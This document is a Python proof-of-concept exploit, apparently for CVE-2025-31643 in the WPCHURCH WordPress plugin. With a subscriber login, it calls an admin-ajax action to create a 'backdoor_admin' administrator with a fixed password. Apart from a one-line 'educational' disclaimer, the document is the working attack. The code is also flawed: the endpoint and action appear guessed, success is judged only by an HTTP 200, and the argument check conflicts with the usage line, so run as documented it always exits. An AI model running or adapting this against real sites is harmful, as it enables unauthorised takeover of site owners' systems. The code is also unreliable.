CVE-2025-31643

# CVE-2025-31643 PoC - WPCHURCH Privilege Escalation # This PoC demonstrates how a low-privilege user can escalate privileges # NOTE: This is for educational and authorized testing purposes only import requests import sys from urllib.parse import urljoin def exploit_wpchurch_privilege_escalation(target_url, username, password): """ Exploit for WPCHURCH <= 2.7.0 Privilege Escalation vulnerability Allows low-privilege users to create admin accounts """ session = requests.Session() # Step 1: Login as low-privilege user (subscriber) login_url = urljoin(target_url, '/wp-login.php') login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } print(f'[*] Logging in as {username}...') response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies: print('[-] Login failed!') return False print('[+] Login successful!') # Step 2: Exploit the privilege escalation vulnerability # Target the vulnerable endpoint (typically admin-ajax.php) exploit_url = urljoin(target_url, '/wp-admin/admin-ajax.php') # Create malicious admin account exploit_data = { 'action': 'wpchurch_create_admin', # Vulnerable action 'new_username': 'backdoor_admin', 'new_password': 'P@ssw0rd123!', 'new_email': '[email protected]', 'role': 'administrator' } print('[*] Attempting privilege escalation...') response = session.post(exploit_url, data=exploit_data) if response.status_code == 200: print('[+] Privilege escalation successful!') print(f'[+] Created admin account: backdoor_admin / P@ssw0rd123!') return True else: print('[-] Exploit failed or patched.') return False if __name__ == '__main__': if len(sys.argv) < 5: print(f'Usage: python {sys.argv[0]} <target_url> <username> <password>') print(f'Example: python {sys.argv[0]} http://example.com subscriber password123') sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_wpchurch_privilege_escalation(target, user, pwd)

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